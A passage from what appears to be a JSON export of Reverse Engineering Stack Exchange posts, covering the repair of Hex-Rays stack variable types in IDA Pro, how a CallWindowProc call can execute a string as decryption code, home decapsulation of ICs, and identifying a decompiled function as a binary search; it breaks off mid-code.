eax@520\n  int v230; // esi@520\n  int v231; // edi@520\n  int v232; // edx@520\n  int v233; // ecx@524\n  ARENA *v234; // eax@527\n  int v235; // edx@527\n  int v236; // ecx@527\n  __int16 v237; // ax@527\n  int v238; // eax@527\n  int v239; // ecx@527\n  int v240; // eax@527\n  int v241; // eax@540\n  ARENA *v242; // ecx@543\n  char *v243; // eax@543\n  char *v244; // edx@544\n  char *v245; // ebx@546\n  DWORD v246; // eax@546\n  ARENA *v247; // esi@547\n  char *v248; // esi@550\n  signed int v249; // ebp@554\n  int v250; // eax@557\n  int v251; // eax@562\n  signed int v252; // ecx@570\n  int v253; // edi@570\n  const char *v254; // esi@570\n  bool v255; // zf@570\n  int v256; // eax@575\n  const char *v257; // edx@578\n  ARENA *v258; // ecx@585\n  signed int v259; // ebx@586\n  PLAYER *v260; // ecx@587\n  signed int v261; // esi@587\n  __int64 v262; // qax@590\n  __int64 v263; // qax@591\n  int v264; // edi@602\n  signed int v265; // ecx@604\n  signed int v266; // ecx@607\n  const void *v267; // esi@607\n  const CHAR *v268; // edi@607\n  unsigned int v269; // edx@607\n  signed int v270; // ecx@607\n  const CHAR *v271; // edi@610\n  signed int v272; // ecx@610\n  signed int v273; // ecx@613\n  const void *v274; // esi@613\n  const CHAR *v275; // edi@613\n  unsigned int v276; // edx@613\n  signed int v277; // ecx@613\n  int v278; // edx@617\n  int v279; // ecx@621\n  int v280; // edx@638\n  char *v281; // ebx@638\n  unsigned int v282; // ebx@646\n  PLAYER *v283; // eax@646\n  signed int v284; // ecx@654\n  signed int v285; // ecx@658\n  signed int v286; // ecx@662\n  signed int v287; // ecx@671\n  int v288; // edi@671\n  const char *v289; // esi@671\n  bool v290; // zf@671\n  signed int v291; // ecx@675\n  int v292; // edi@675\n  const char *v293; // esi@675\n  bool v294; // zf@675\n  signed int v295; // ecx@682\n  int v296; // eax@683\n  const char v297; // al@688\n  const char *v298; // edi@688\n  const CHAR *jj; // ecx@688\n  const char v300; // al@691\n  const CHAR v301; // al@692\n  int v302; // edi@692\n  const CHAR *kk; // ecx@692\n  const char v304; // al@696\n  int *v305; // edi@704\n  int *v306; // esi@704\n  char v307; // al@707\n  int v308; // ecx@708\n  int v309; // edi@708\n  int v310; // esi@708\n  const char *v311; // eax@709\n  ARENA *v312; // edi@711\n  ARENA *v313; // ecx@718\n  int v314; // eax@718\n  int v315; // eax@723\n  __int64 v316; // qax@727\n  __int64 v317; // qax@728\n  __int64 v318; // qax@729\n  const char *v319; // ebx@730\n  int v320; // edi@737\n  char *v321; // ST1C_4@737\n  int v322; // esi@737\n  ARENA *v323; // eax@738\n  ARENA *v324; // eax@743\n  DWORD v325; // eax@748\n  int v326; // edx@749\n  PLAYER *v327; // esi@749\n  bool v328; // sf@749\n  ARENA **v329; // edi@750\n  ARENA *v330; // eax@751\n  int v331; // ebx@751\n  signed int v332; // esi@752\n  unsigned int v333; // krD8_4@774\n  ARENA **v334; // esi@775\n  int v335; // ebp@776\n  signed int v336; // edi@777\n  ARENA *v337; // edx@784\n  int v338; // esi@785\n  int v339; // ecx@785\n  const char *v340; // ecx@797\n  const char v341; // al@799\n  const CHAR *ll; // edx@799\n  const char v343; // al@803\n  const char v344; // al@804\n  const char *v345; // ecx@804\n  int v346; // eax@819\n  int v347; // eax@833\n  unsigned int v348; // krE8_4@836\n  int v349; // edi@836\n  PLAYER **v350; // ebp@837\n  char *v351; // [sp+4h] [bp-1608Ch]@668\n  const char *v352; // [sp+8h] [bp-16088h]@668\n  char *v353; // [sp+Ch] [bp-16084h]@52\n  char *v354; // [sp+Ch] [bp-16084h]@351\n  char *v355; // [sp+Ch] [bp-16084h]@598\n  char *v356; // [sp+Ch] [bp-16084h]@644\n  int v357; // [sp+Ch] [bp-16084h]@668\n  const char *v358; // [sp+10h] [bp-16080h]@52\n  const char *v359; // [sp+10h] [bp-16080h]@57\n  const char *v360; // [sp+10h] [bp-16080h]@218\n  const char *v361; // [sp+10h] [bp-16080h]@351\n  int v362; // [sp+10h] [bp-16080h]@525\n  const char *v363; // [sp+10h] [bp-16080h]@598\n  const char *v364; // [sp+10h] [bp-16080h]@644\n  int v365; // [sp+10h] [bp-16080h]@668\n  int v366; // [sp+14h] [bp-1607Ch]@52\n  char v367; // [sp+14h] [bp-1607Ch]@54\n  char v368; // [sp+14h] [bp-1607Ch]@218\n  int v369; // [sp+14h] [bp-1607Ch]@351\n  int v370; // [sp+14h] [bp-1607Ch]@525\n  int v371; // [sp+14h] [bp-1607Ch]@598\n  char *v372; // [sp+14h] [bp-1607Ch]@644\n  int v373; // [sp+14h] [bp-1607Ch]@668\n  time_t v374; // [sp+18h] [bp-16078h]@1\n  ARENA *a5[2]; // [sp+28h] [bp-16068h]@63\n  int v376; // [sp+30h] [bp-16060h]@69\n  int v377; // [sp+34h] [bp-1605Ch]@61\n  DWORD ExitCode; // [sp+38h] [bp-16058h]@233\n  char v379; // [sp+3Fh] [bp-16051h]@420\n  size_t Size; // [sp+40h] [bp-16050h]@69\n  int v381; // [sp+44h] [bp-1604Ch]@233\n  int v382; // [sp+48h] [bp-16048h]@69\n  int v383; // [sp+4Ch] [bp-16044h]@69\n  char v384; // [sp+50h] [bp-16040h]@527\n  __int16 v385; // [sp+51h] [bp-1603Fh]@527\n  int v386; // [sp+53h] [bp-1603Dh]@527\n  int v387; // [sp+57h] [bp-16039h]@527\n  __int16 v388; // [sp+5Bh] [bp-16035h]@527\n  __int16 v389; // [sp+5Dh] [bp-16033h]@527\n  int v390; // [sp+60h] [bp-16030h]@233\n  const CHAR KeyName; // [sp+64h] [bp-1602Ch]@157\n  const CHAR CommandLine; // [sp+84h] [bp-1600Ch]@52\n  char v393; // [sp+85h] [bp-1600Bh]@773\n  const CHAR Dest; // [sp+184h] [bp-15F0Ch]@69\n  __int16 v395; // [sp+185h] [bp-15F0Bh]@342\n  char v396; // [sp+187h] [bp-15F09h]@342\n  const CHAR Str1; // [sp+284h] [bp-15E0Ch]@153\n  const CHAR AppName; // [sp+2C4h] [bp-15DCCh]@76\n  int buf; // [sp+304h] [bp-15D8Ch]@45\n  char v400; // [sp+309h] [bp-15D87h]@208\n  char v401; // [sp+404h] [bp-15C8Ch]@255\n  char v402; // [sp+405h] [bp-15C8Bh]@255\n  char v403; // [sp+414h] [bp-15C7Ch]@255\n  CHAR StartupInfo[4]; // [sp+504h] [bp-15B8Ch]@163\n  int v405; // [sp+510h] [bp-15B80h]@309\n  char v406; // [sp+604h] [bp-15A8Ch]@741\n  char v407; // [sp+605h] [bp-15A8Bh]@741\n  char v408; // [sp+606h] [bp-15A8Ah]@741\n  __int16 v409; // [sp+607h] [bp-15A89h]@748\n  char v410; // [sp+609h] [bp-15A87h]@765\n  char v411; // [sp+804h] [bp-1588Ch]@638\n  char v412; // [sp+805h] [bp-1588Bh]@638\n  char v413; // [sp+2804h] [bp-1388Ch]@543\n  char Str; // [sp+2805h] [bp-1388Bh]@544\n  char v415; // [sp+2815h] [bp-1387Bh]@546\n  int v416; // [sp+16084h] [bp-Ch]@1\n  int (*v417)(); // [sp+16088h] [bp-8h]@1\n  int v418; // [sp+1608Ch] [bp-4h]@1\n  const char *Buf1b; // [sp+160A0h] [bp+10h]@485\n  const char *Buf1a; // [sp+160A0h] [bp+10h]@489\n
\n\n

I was told on email by a very skilled reverser how to handle this, I don't know if he wants me to say his/her name so I'll not say anything.

\n\n

But they said start doing repairs to arrays or structures starting at [sp+####h] and do calculations from that.

\n\n

So the first part to start repairing is the since it begins with [sp+#h]

\n\n
char *v351; // [sp+4h] [bp-1608Ch]@668 \n
\n\n

Now you go down to

\n\n
  char *v372; // [sp+14h] [bp-1607Ch]@644\n  int v373; // [sp+14h] [bp-1607Ch]@668\n  time_t v374; // [sp+18h] [bp-16078h]@1\n  ARENA *a5[2]; // [sp+28h] [bp-16068h]@63\n  int v376; // [sp+30h] [bp-16060h]@69\n
\n\n

So

\n\n
  char *v372; // [sp+14h]                                      [0]\n  int v373; // [sp+14h]                     14-14 = 0 goes up  [4]\n  time_t v374; // [sp+18h] [bp-16078h]@1    18-14 = 4 goes up  [16]\n  ARENA *a5[2]; // [sp+28h] [bp-16068h]@63  28-18 = 16 goes up [8]\n  int v376; // [sp+30h] [bp-16060h]@69      30-28 = 8 goes up  [4]\n  int v377; // [sp+34h] [bp-1605Ch]@61       34-30 = 4 goes up  [ignored]\n
\n\n

So 0 would mean char? yet it's a pointer to a char (4 bytes)?, Probably shouldn't touch those
\nThe 4 after would be int which seems right.
\nThe 16 after looks like 2 x 8 bytes.
\nSince time_t could be 4 bytes or 8 bytes.

\n\n

I checked and time_t is defined as

\n\n
-00016080 var_16080       dd 6 dup(?)             ; offset\n
\n\n

So it thinks it's 4 bytes x 6 which would be 24 bytes? why does it think that? Yes I get that var_16080 when I click on the time_t

\n\n

So this is where I get confused I think it's really 8 bytes and all I have to do is make it time_t v374[2]

\n\n

ARENA *a5[2]; looks right 2 pointers of 4 bytes. = 8 bytes and the int after looks right.

\n\n

Can someone tell me how what to do in certain hard cases if I have to do it all manually I would do it..

\n\n

But if there is a way to automate this I'd also appreciate that if anyone can tell me of a plugin or a script to do that.

\n\n

Here is how I got it down to is it right?

\n\n
  int v369; // [sp+14h] [bp-1607Ch]@351\n  int v370; // [sp+14h] [bp-1607Ch]@525\n  int v371; // [sp+14h] [bp-1607Ch]@598\n  char *v372; // [sp+14h] [bp-1607Ch]@644\n  int v373; // [sp+14h] [bp-1607Ch]@668\n  char v374[16]; // [sp+18h] [bp-16078h]@1\n  ARENA *a5[2]; // [sp+28h] [bp-16068h]@63\n  int v376; // [sp+30h] [bp-16060h]@69\n  int v377; // [sp+34h] [bp-1605Ch]@61\n  char ExitCode[7]; // [sp+38h] [bp-16058h]@233\n  char v379; // [sp+3Fh] [bp-16051h]@420\n  size_t Size; // [sp+40h] [bp-16050h]@69\n  int v381; // [sp+44h] [bp-1604Ch]@233\n  int v382; // [sp+48h] [bp-16048h]@69\n
\n\n

A bit lower you see this

\n\n
  __int16 v385; // [sp+51h] [bp-1603Fh]@527                   2\n  int v386; // [sp+53h] [bp-1603Dh]@527               53-51 = 2 up [4]\n  int v387; // [sp+57h] [bp-16039h]@527               57-53 = 4 up [4]\n  __int16 v388; // [sp+5Bh] [bp-16035h]@527           5B-57 = 4 up [2]\n  __int16 v389; // [sp+5Dh] [bp-16033h]@527           5D-5B = 2 up [3] ???\n  int v390; // [sp+60h] [bp-16030h]@233               60-5D = 3 up\n
\n\n

Why is that one 3 bytes when it's a __int16 or is it a char[3] ?

\n\n

After I translated it to

\n\n
  int v386; // [sp+53h] [bp-1603Dh]@527\n  int v387; // [sp+57h] [bp-16039h]@527\n  __int16 v388; // [sp+5Bh] [bp-16035h]@527\n  char v389[3]; // [sp+5Dh] [bp-16033h]@527\n  int v390; // [sp+60h] [bp-16030h]@233\n
\n\n

Now it does something like this in code, so it must of been __int16 after all. Maybe it's a __int16 followed by a char after, but you can't do that in Hex-Rays afaik.

\n\n
                *(_WORD *)v389 = v236;\n
\n\n

Okay it's highly unpredictable and I don't think I can rely on the [so+###h]'s too much just in some cases.

\n\n

I managed to get it down to this, but it has problems all over the place

\n\n

Trimmed off the top stuff that didn't change

\n\n
  char *v351; // [sp+4h] [bp-1608Ch]@668\n  const char *v352; // [sp+8h] [bp-16088h]@668\n  char *v353; // [sp+Ch] [bp-16084h]@52\n  char *v354; // [sp+Ch] [bp-16084h]@351\n  char *v355; // [sp+Ch] [bp-16084h]@598\n  char *v356; // [sp+Ch] [bp-16084h]@644\n  int v357; // [sp+Ch] [bp-16084h]@668\n  const char *v358; // [sp+10h] [bp-16080h]@52\n  char *v359; // [sp+10h] [bp-16080h]@57\n  char *v360; // [sp+10h] [bp-16080h]@218\n  const char *v361; // [sp+10h] [bp-16080h]@351\n  int v362; // [sp+10h] [bp-16080h]@525\n  const char *v363; // [sp+10h] [bp-16080h]@598\n  const char *v364; // [sp+10h] [bp-16080h]@644\n  int v365; // [sp+10h] [bp-16080h]@668\n  int v366; // [sp+14h] [bp-1607Ch]@52\n  char v367; // [sp+14h] [bp-1607Ch]@54\n  char v368; // [sp+14h] [bp-1607Ch]@218\n  int v369; // [sp+14h] [bp-1607Ch]@351\n  int v370; // [sp+14h] [bp-1607Ch]@525\n  int v371; // [sp+14h] [bp-1607Ch]@598\n  char *v372; // [sp+14h] [bp-1607Ch]@644\n  int v373; // [sp+14h] [bp-1607Ch]@668\n  char v374[16]; // [sp+18h] [bp-16078h]@1\n  ARENA *a5[2]; // [sp+28h] [bp-16068h]@63\n  int v376; // [sp+30h] [bp-16060h]@69\n  int v377; // [sp+34h] [bp-1605Ch]@61\n  char ExitCode[7]; // [sp+38h] [bp-16058h]@233\n  char v379; // [sp+3Fh] [bp-16051h]@420\n  size_t Size; // [sp+40h] [bp-16050h]@69\n  int v381; // [sp+44h] [bp-1604Ch]@233\n  int v382; // [sp+48h] [bp-16048h]@69\n  int v383; // [sp+4Ch] [bp-16044h]@69\n  char v384; // [sp+50h] [bp-16040h]@527\n  __int16 v385; // [sp+51h] [bp-1603Fh]@527\n  int v386; // [sp+53h] [bp-1603Dh]@527\n  int v387; // [sp+57h] [bp-16039h]@527\n  __int16 v388; // [sp+5Bh] [bp-16035h]@527\n  char v389[3]; // [sp+5Dh] [bp-16033h]@527\n  int v390; // [sp+60h] [bp-16030h]@233\n  char array1[32]; // [sp+64h] [bp-1602Ch]@157\n  char array2[256]; // [sp+84h] [bp-1600Ch]@52\n  char Dest[256]; // [sp+184h] [bp-15F0Ch]@69\n  char Str1[64]; // [sp+284h] [bp-15E0Ch]@153\n  char AppName[64]; // [sp+2C4h] [bp-15DCCh]@76\n  char buf[512]; // [sp+304h] [bp-15D8Ch]@45\n  char StartupInfo[256]; // [sp+504h] [bp-15B8Ch]@163\n  char v398[512]; // [sp+604h] [bp-15A8Ch]@741\n  char v399[8192]; // [sp+804h] [bp-1588Ch]@638\n  char v400[80000]; // [sp+2804h] [bp-1388Ch]@543\n  int v401; // [sp+16084h] [bp-Ch]@1\n  int (*v402)(); // [sp+16088h] [bp-8h]@1\n  int v403; // [sp+1608Ch] [bp-4h]@1\n  const char *Buf1b; // [sp+160A0h] [bp+10h]@485\n  const char *Buf1a; // [sp+160A0h] [bp+10h]@489\n
\n\n

Seems all the array/buffers are only found at the bottom of all the variables all of them are buffers completely (maybe it's just the type of compiler / optimizer this program used).

\n\n

I wonder what If it probably reuses all the buffers as just one big buffer?

\n", "Title": "IDA PRO repairing stack variables / local variables hex-rays with arrays and proper types / structures any scripts/plugins?", "Tags": "|ida|ida-plugin|local-variables|stack-variables|", "Answer": "

I'm not sure that it is possible to answer this question without seeing all the function because correctness of local variable type recovery can be done only by understanding of the context where variables are used.

\n\n

However, I'd suggest the following algorithm for dealing with local variables \nin Hex-Rays:

\n\n
    \n

  1. As your friend said, do nothing with variables allocated on the registers.

    2. \n

  2. For all other variables allocated on the stack, do the following:

    3. \n

  3. Look where this variable is used.

    4. \n

  4. If you see one of patterns below, act accordingly, but press F5 after each change and review results. Remember, you can revert each type back by pressing Y and entering previous type on it.

    5. \n

  5. If you see usage of some different offsets relative to this variable it may be a structure. Try to create one by right-click on the variable and choosing corresponding menu item. Usage of this variable as function parameter or other connections to already known types may give you a hint about type of the variable.

    6. \n

  6. If you see not constant offsets (such as offset in another variable) it can be array. Press asterisk (*) on the variable, IDA will suggest the length of the array, it does it relatively good.

    7. \n

  7. If you see both of those patterns, it is possibly array of structures or more complicated case like array of structures in structure which is member of array and vice versa :) In this case try to find a smallest structure/array and start with it.

    8. \n
\n\n

At all, there are the following possibilities to affect the function stack in Hex-Rays:

\n\n
    \n
  1. Changing variable type (press y on the variable, enter type)
    2. \n
  2. Making variable an array (press * on it)
    3. \n
  3. Creating new structure\ntype on a variable basis (Right click on the variable, corresponding\nmenu item)
    4. \n
  4. Undefining a variable: Doubleclick on stack variable\nwill open stack function stack window. Pressing u on a variable will\nundefine it.
    5. \n
  5. Merging a variable: if you see that two different\nvariables are actually the same you can press = and tell to the\ndecompiler that they are really the same. AFAIR it works in IDA 6.5\nand IDA6.5
    6. \n
\n\n

Don't forget to refresh the decompiled code view by pressing F5 after each change to see results.

\n\n

That's all.

\n\n

By the way, there is one point you are probably missing:\nIDA and HexRays can make more than one variable on the same place in stack, \nso v369, v370, v371, v372, v373 are using same place in the stack, but are different variables from decompiled code point of view.

\n" }, { "Id": "4125", "CreationDate": "2014-04-23T08:35:55.270", "Body": "

I recently came across a script that would read a file into a string, then do the equivalent of

\n\n
CallWindowProc((pointer to string), (pointer to encrypted string), (length of encrypted string), 0, 0)\n
\n\n

in the scripting language to decrypt an encrypted string defined earlier in the file. What's going on here? How did the call to CallWindowProc decrypt the string?

\n", "Title": "What does this call to CallWindowProc do?", "Tags": "|windows|dynamic-linking|", "Answer": "

Normally, the first parameter to CallWindowProc would be a function pointer. CallWindowProc treats the pointer to the string as a function pointer, and calls it. As long as the heap that the string exists in is executable, it will be executed as if it were machine code. The other four parameters passed to CallWindowProc are also passed to the function pointer, and can be used by the machine code however it's designed. In this case, it looks like the machine code your script is loading is a decryption subroutine. Try looking at the machine code in a disassembler.

\n" }, { "Id": "4128", "CreationDate": "2014-04-23T13:35:16.920", "Body": "

I am on the hunt for several ICs by searching for the markings on them. But sometimes the markings are just too vague and I cannot really guarantee that the IC I found is the IC I am looking for. I know that some manufacturers place a logo or something equivalent on the die itself, and that it is possible to X-Ray the package in order to see the bare die.

\n\n

My question is, is there any home-made (preferably cheap) alternative to the X-Ray method?

\n", "Title": "Any Home Made Alternatives to X-Ray ICs?", "Tags": "|integrated-circuit|", "Answer": "

I'm far from an authoritative source but I've personally never seen x-rays being used to identify anything but defects or bad joints under BGA chips. I don't think x-rays would be a good fit here because the die is extremely likely to appear like a solid blob with possibly the bonding wires visible.

\n\n

The cheapest way I know of to accomplish what you want to do is by grinding, usually called polishing, the chip using a very very fine sandpaper or abrasive surface to remove the packaging and different metal layers. In your case you probably only want to remove the protective polymer. If you go this route you need to take extreme care when it comes to aligning the chip and the grinding surface so that your material removal isn't slanted.

\n\n

The other, and similarly cheap, method is a chemical etch, also called wet etching. This is usually very dangerous though if you're not very careful and make damn sure that your ventilation is good. It usually involves nitric or sulphuric acid. I won't discuss it in detail here.

\n\n

For an overview of different techniques please see siliconpr0n's article on decapsulation. t4f has a decent article on low cost decapsulation using a chemical etch. Siliconzoon has a nice tutorial for the very basics of understanding what you're looking at once you've decapsulated, polished and imaged the metal layers of your ICs.

\n\n

If you're not hell bent on doing it on your own there's a number of companies that offer decapsulation services for you. Usually this service doesn't have to be very expensive due to them using automated decapsulation machines, usually by so called jet etching. They usually send you the decapsulated sample for analysis. There's probably services out there willing to take high resultion, high magnification pictures of the various metal layers for you as well. My recommendation would be to send a sample to one of these firms, it will cost you less than 100 USD, you're very likely to get a working sample back and it also has the highest success to chemical burn ratio.

\n" }, { "Id": "4139", "CreationDate": "2014-04-25T04:21:01.057", "Body": "

I decompiled a application and found what seems like some kind of sorting algorithm, I was told it's not even a sorting algorithm, but a binary search on stackoverflow

\n\n

I just don't know which one it is can someone let me know it's actual name?

\n\n

whatever is passed into the strcmpi wrapper is in some area's divided by 2 who knows some crazy stuff.. I thought it was qsort (quicksort) since it's a standard library for C. But i'm not sure.

\n\n
int __cdecl SomeKindOfSortAlgorithm(int a1, int a2, int a3, signed int a4, int (__cdecl *a5)(unsigned int, unsigned int), int a6)\n{\n  int v6; // esi@1\n  int result; // eax@1\n  int v8; // ebp@2\n  int v9; // edi@2\n\n  v6 = 0;\n  result = 0;\n  *(unsigned int *)a6 = 0;\n  if ( !a3 )\n    return result;\n  v8 = a2;\n  v9 = a2 + a4 * (a3 - 1);\n  if ( a2 > (unsigned int)v9 )\n  {\nLABEL_9:\n    if ( result > 0 )\n      v6 += a4;\n    return v6;\n  }\n  while ( 1 )\n  {\n    v6 = v8 + a4 * (v9 - v8) / a4 / 2;\n    result = a5(a1, v8 + a4 * (v9 - v8) / a4 / 2);\n    if ( result < 0 )\n    {\n      if ( v6 == a2 )\n        goto LABEL_9;\n      v9 = v6 - a4;\n      goto LABEL_8;\n    }\n    if ( result <= 0 )\n      break;\n    v8 = v6 + a4;\nLABEL_8:\n    if ( v8 > (unsigned int)v9 )\n      goto LABEL_9;\n  }\n  *(unsigned int *)a6 = 1;\n  if ( v6 == a2 )\n  {\nLABEL_15:\n    result = a2;\n  }\n  else\n  {\n    while ( 1 )\n    {\n      v6 -= a4;\n      if ( a5(a1, v6) )\n        break;\n      if ( v6 == a2 )\n        goto LABEL_15;\n    }\n    result = v6 + a4;\n  }\n  return result;\n}\n
\n\n

Here is the compare function

\n\n
int __cdecl StrCmpiWrapper(const char *Str1, const char **a2)\n{\n  return _strcmpi(Str1, *a2);\n}\n
\n\n

Here is how you use it.

\n\n
  int ChatMsgBuffer;\n  int v4; // eax@1\n  int v5; // eax@5\n  int v8; // [sp+10h] [bp-4h]@1\n\n  v4 = SomeKindOfSortAlgorithm(\n         ChatMsgBuffer,\n         textFile->Pointer,\n         textFile->TotalElements,\n         4,\n         (int (__cdecl *)(unsigned int, unsigned int))StrCmpiWrapper,\n         (int)&v8);\n\n  if ( !v8 && v4 )\n  {\n      //Allocate memory .. copy it and other stuff here.\n  }\n
\n\n

Here is how a real qsort looks when decompiled

\n\n
void __cdecl sub_4015D0(int a1, unsigned int a2, unsigned int a3, unsigned int a4, int (__cdecl *a5)(_DWORD, _DWORD, _DWORD), int a6)\n{\n  unsigned int v6; // esi@2\n  int v7; // edi@9\n  unsigned int v8; // esi@32\n  int v9; // esi@38\n  unsigned int k; // edi@41\n  unsigned int v11; // edi@43\n  void *v12; // edi@52\n  int j; // [sp+Ch] [bp-20h]@52\n  unsigned int v14; // [sp+10h] [bp-1Ch]@16\n  int v15; // [sp+14h] [bp-18h]@11\n  int v16; // [sp+14h] [bp-18h]@16\n  unsigned int v17; // [sp+18h] [bp-14h]@9\n  int v18; // [sp+1Ch] [bp-10h]@2\n  unsigned int v19; // [sp+28h] [bp-4h]@2\n  unsigned int i; // [sp+38h] [bp+Ch]@38\n\n  while ( a3 )\n  {\n    if ( a2 <= 0x20 )\n      goto LABEL_37;\n    v19 = a1 + a4 * a2;\n    v6 = a1 + a4 * (a2 >> 1);\n    v18 = a4 + v6;\n    sub_401420(a1, a1 + a4 * (a2 >> 1), a1 + a4 * a2 - a4, a4, a5, a6);\n    while ( a1 < v6 && !a5(v6 - a4, v6, a6) )\n      v6 -= a4;\n    while ( v18 < v19 && !a5(v18, v6, a6) )\n      v18 += a4;\n    v7 = v18;\n    v17 = v6;\n    while ( 1 )\n    {\n      while ( 1 )\n      {\n        for ( ; v7 < v19; v7 += a4 )\n        {\n          v15 = a5(v6, v7, a6);\n          if ( v15 >= 0 )\n          {\n            if ( v15 > 0 )\n              break;\n            sub_401160(v18, v7, a4);\n            v18 += a4;\n          }\n        }\n        if ( a1 < v17 )\n        {\n          do\n          {\n            v14 = v17 - a4;\n            v16 = a5(v17 - a4, v6, a6);\n            if ( v16 >= 0 )\n            {\n              if ( v16 > 0 )\n                break;\n              v6 -= a4;\n              sub_401160(v6, v14, a4);\n            }\n            v17 -= a4;\n          }\n          while ( a1 < v14 );\n        }\n        if ( v17 == a1 )\n          break;\nLABEL_27:\n        if ( v7 == v19 )\n        {\n          v17 -= a4;\n          v18 -= a4;\n          v6 -= a4;\n          if ( v17 == v6 )\n            sub_401160(v6, v18, a4);\n          else\n            sub_401220(v17, v18, v6, a4);\n        }\n        else\n        {\n          v17 -= a4;\n          sub_401160(v7, v17, a4);\n          v7 += a4;\n        }\n      }\n      if ( v7 == v19 )\n        break;\n      if ( v17 != a1 )\n        goto LABEL_27;\n      if ( v18 == v7 )\n        sub_401160(v7, v6, a4);\n      else\n        sub_401220(v7, v6, v18, a4);\n      v7 += a4;\n      v6 += a4;\n      v18 += a4;\n    }\n    a3 = (a3 >> 2) + (a3 >> 1);\n    v8 = (v6 - a1) / a4;\n    a2 = (v19 - v18) / a4;\n    if ( v8 > a2 )\n    {\n      sub_4015D0(v18, a2, a3, a4, a5, a6);\n      a2 = v8;\n    }\n    else\n    {\n      sub_4015D0(a1, v8, a3, a4, a5, a6);\n      a1 = v18;\n    }\n  }\n  if ( a2 <= 0x20 )\n  {\nLABEL_37:\n    if ( a2 > 1 )\n    {\n      v9 = a1;\n      for ( i = a2 - 1; i; --i )\n      {\n        v9 += a4;\n        if ( a5(v9, a1, a6) >= 0 )\n        {\n          v12 = (void *)v9;\n          for ( j = v9; ; v12 = (void *)j )\n          {\n            j -= a4;\n            if ( a5(v9, j, a6) >= 0 )\n              break;\n          }\n          if ( v12 != (void *)v9 )\n            sub_401310(v12, v9, a4);\n        }\n        else\n        {\n          sub_401310((void *)a1, v9, a4);\n        }\n      }\n    }\n    return;\n  }\n  for ( k = a2 >> 1; k; sub_401500(a1, k, a2, a4, a5, a6) )\n    --k;\n  v11 = a1 + a4 * a2;\n  while ( a2 > 1 )\n  {\n    v11 -= a4;\n    sub_401160(a1, v11, a4);\n    --a2;\n    sub_401500(a1, 0, a2, a4, a5, a6);\n  }\n}\n\nint __cdecl sub_401420(int a1, int a2, int a3, unsigned int a4, int a5, int a6)\n{\n  unsigned int v6; // edi@2\n  int result; // eax@2\n\n  if ( 40 * a4 >= a3 - a1 )\n  {\n    result = sub_4013B0(a1, a2, a3, a4, a5, a6);\n  }\n  else\n  {\n    v6 = a4 * (((a3 - a1) / a4 >> 3) + 1);\n    sub_4013B0(a1, v6 + a1, a1 + 2 * v6, a4, a5, a6);\n    sub_4013B0(a2 - v6, a2, a2 + v6, a4, a5, a6);\n    sub_4013B0(a3 - 2 * v6, a3 - v6, a3, a4, a5, a6);\n    result = sub_4013B0(a1 + v6, a2, a3 - v6, a4, a5, a6);\n  }\n  return result;\n}\n\nint __cdecl sub_401500(int a1, unsigned int a2, unsigned int a3, int a4, int (__cdecl *a5)(_DWORD, _DWORD, _DWORD), int a6)\n{\n  int v6; // ebx@1\n  int v7; // esi@1\n  int i; // edi@1\n  int result; // eax@6\n  unsigned int v10; // ebx@7\n  unsigned int v11; // edi@7\n  int v12; // [sp+Ch] [bp-4h]@1\n\n  v12 = a2;\n  v6 = 2 * a2 + 2;\n  v7 = a1 + a4 * a2;\n  for ( i = a1 + a4 * (2 * a2 + 2); v6 <= a3; i = a1 + a4 * v6 )\n  {\n    if ( v6 == a3 || a5(i, i - a4, a6) < 0 )\n    {\n      --v6;\n      i -= a4;\n    }\n    sub_401160(v7, i, a4);\n    a2 = v6;\n    v7 = i;\n    v6 = 2 * v6 + 2;\n  }\n  result = v12;\n  if ( v12 < a2 )\n  {\n    do\n    {\n      v10 = (a2 - 1) >> 1;\n      v11 = a1 + a4 * ((a2 - 1) >> 1);\n      result = a5(v7, a1 + a4 * ((a2 - 1) >> 1), a6);\n      if ( result <= 0 )\n        break;\n      sub_401160(v11, v7, a4);\n      a2 = (a2 - 1) >> 1;\n      v7 = v11;\n      result = v12;\n    }\n    while ( v12 < v10 );\n  }\n  return result;\n}\n
\n", "Title": "C What kind of sorting algorithm is this?", "Tags": "|ida|decompilation|c|", "Answer": "

It's a binary search. I've renamed several of the variables, and in one case, introduced a new variable, because one of the local variables was used for one thing in the first half of the function and something else in the second half of the function.

\n\n

The only tricky part is that once it finds an occurrence of the string to find, it iterates to find the first occurrence.

\n\n
#include <string.h>\n\ntypedef const char* MYTYPE;\ntypedef char* PTR_TYPE;\n\nPTR_TYPE __cdecl SomeKindOfSortAlgorithm(MYTYPE elementToFind, PTR_TYPE array, unsigned int numElts, unsigned int eltSize, int (__cdecl *compare)(MYTYPE, PTR_TYPE), bool* pFound)\n{\n  PTR_TYPE mid; // esi@1\n  int result; // eax@1\n  PTR_TYPE lower_bound; // ebp@2\n  PTR_TYPE upper_bound; // edi@2\n\n  mid = 0;\n  result = 0;\n  *pFound = false;\n  if ( !numElts )\n    return NULL;\n  lower_bound = array;\n  upper_bound = array + eltSize * (numElts - 1);\n  if ( array > upper_bound )\n  {\nNOT_FOUND:\n    if ( result > 0 )\n      mid += eltSize;\n    return mid;\n  }\n  while ( 1 )\n  {\n    mid = lower_bound + eltSize * (upper_bound - lower_bound) / eltSize / 2;\n    result = compare(elementToFind, mid);\n    if ( result < 0 ) // elementToFind should go before mid\n    {\n      if ( mid == array )\n        goto NOT_FOUND;\n      upper_bound = mid - eltSize;\n      goto CHECK_LOOP_END;\n    }\n    if ( result <= 0 ) // elementToFind equals the element at mid\n      break;\n    // elementToFind should go after mid\n    lower_bound = mid + eltSize;\nCHECK_LOOP_END:\n    if ( lower_bound > upper_bound )\n      goto NOT_FOUND;\n  }\n\n  PTR_TYPE pFirstOccurrance;\n  *pFound = true;\n  if ( mid == array )\n  {\nAT_FIRST_ELEMENT:\n    pFirstOccurrance = array;\n  }\n  else\n  {\n    while ( 1 )\n    {\n      mid -= eltSize;\n      if ( compare(elementToFind, mid) ) // elementToFind != element at mid\n        break;\n      if ( mid == array )\n        goto AT_FIRST_ELEMENT;\n    }\n    pFirstOccurrance = mid + eltSize;\n  }\n  return pFirstOccurrance;\n}\n\nint __cdecl StrCmpiWrapper(MYTYPE element, PTR_TYPE arrayPointer)\n{\n  return _strcmpi(element, *(MYTYPE*)arrayPointer);\n}\n\n\nint main(int argc, char* argv[])\n{\n  MYTYPE lookFor = \"def\";\n  MYTYPE* pFirstOccurrance; // eax@1\n  bool found; // [sp+10h] [bp-4h]@1\n\n  MYTYPE data[3] = {\n      \"abc\",\n      \"def\",\n      \"ghi\"\n  };\n\n  pFirstOccurrance = (MYTYPE*)SomeKindOfSortAlgorithm(\n         lookFor,\n         (PTR_TYPE)data,\n         3,\n         